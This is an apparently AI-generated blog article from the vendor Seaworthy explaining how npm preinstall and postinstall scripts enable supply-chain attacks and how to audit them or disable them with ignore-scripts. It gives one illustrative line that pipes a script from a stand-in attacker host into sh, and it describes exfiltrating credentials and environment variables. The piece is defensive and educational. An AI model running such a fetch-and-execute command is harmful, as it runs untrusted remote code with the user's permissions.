← All news
dependency-hygiene4 min read

What a postinstall script can run on your machine before you've reviewed a single line of the package

By Seaworthy · 6 August 2026

A person's hand typing on a black computer keyboard

Photo by Mohammad Rahmani on Unsplash

npm install looks like a file copy. A progress bar, some package names scrolling past, a summary line about how many packages were added, done. What actually happens underneath is that npm resolves the full dependency tree, and for every package in it, including transitive ones you never typed into package.json and have never opened, that defines a preinstall, install, or postinstall script, npm executes that script as a child process with your full user account permissions. No sandbox, no prompt, no diff shown first. If a package wants to run curl attacker.example.com/payload.sh | sh the moment it's installed, npm install is the only permission it needs.

Why this exists, and why it's not automatically malicious

Lifecycle scripts are a real, legitimate feature. Packages with native addons, such as bcrypt, sharp, or node-sass historically, anything wrapping a C or C++ library, need to compile platform-specific binaries at install time, because a prebuilt binary for every combination of OS, architecture, and Node version isn't always available. node-gyp rebuild running from a postinstall script is normal, expected, and necessary for those packages to work at all.

The problem isn't that lifecycle scripts exist. It's that the mechanism doesn't distinguish "recompiling a native binding" from "reading ~/.aws/credentials and POSTing it somewhere." Both are just a script npm runs on your behalf, and by default, npm doesn't ask.

This is a real, recurring attack pattern

This isn't a hypothetical risk category, it's the specific mechanism behind a recurring class of real npm supply-chain compromises. The pattern: an attacker gains publish access to a popular package, either by compromising a maintainer's credentials or by getting added as a co-maintainer through social engineering, then ships a version bump that looks like a routine patch. The changelog looks normal. The diff to the actual library code, if anyone even checks it, looks normal or is minimal. The payload lives in a postinstall script, runs once at install time, and by the time anyone notices unusual behavior, it's already executed on every machine, developer laptops, and worse, CI runners, that ran npm install against that version.

CI runners are the higher-value target in this scenario, and it's worth being specific about why: a developer's laptop compromise is bad, but a CI runner frequently holds the actual deploy credentials, cloud provider keys, container registry tokens, production database connection strings passed in as environment variables for integration tests. A postinstall script that runs env and exfiltrates the output doesn't need any further exploit chain. It already has what it came for.

Checking what you're about to run

Before installing something new, or auditing what's already in a project, you can see which packages in the tree declare lifecycle scripts without running npm install first:

# see the scripts a specific package declares, before installing it
npm view <package-name> scripts

# for an already-installed tree, scripts show up in each package's package.json
grep -r '"postinstall"\|"preinstall"' node_modules/*/package.json

Neither command tells you whether a script is malicious, a completely legitimate node-gyp rebuild and a credential-exfiltration one-liner both just show up as a string. What it gives you is visibility into which packages are running code at all, versus which ones are just files, which is the distinction that matters for deciding where to look closer.

Turning scripts off by default

The more durable fix is disabling lifecycle scripts globally and re-enabling them explicitly only for packages that genuinely need them:

# .npmrc
ignore-scripts=true

With that set, npm install copies files and does nothing else. For the handful of packages in a real project that legitimately need a native build step, run the rebuild explicitly and deliberately, so it's a decision you made rather than something that happened silently as a side effect of installing forty other things:

npm rebuild bcrypt

This trades a small amount of friction, you'll notice the first time a package that needs compilation doesn't work until you rebuild it, for the much larger benefit of no package in your tree executing arbitrary code without you choosing that. Combined with npm ci in CI (which installs exactly what's in the lockfile rather than re-resolving), and pinned exact versions for anything sensitive, ignore-scripts=true closes off the specific mechanism that made several real, disclosed npm supply-chain incidents possible in the first place, not the vulnerability that let an attacker publish a malicious version, but the blast radius of what that malicious version could do the moment someone ran npm install.

Seaworthy's dependency hygiene checks flag packages in the resolved tree, direct or transitive, that declare preinstall, install, or postinstall scripts, so you know which installs are running code on your machine before you find out the hard way.

This article was generated by AI and summarises publicly available sources.

From the makers of Seaworthy

Seaworthy scans your repo for the issues covered in articles like this one.

Security gaps, exposed secrets, and misconfigurations — caught before you deploy. Free to run, no account needed.

$ npx seaworthycode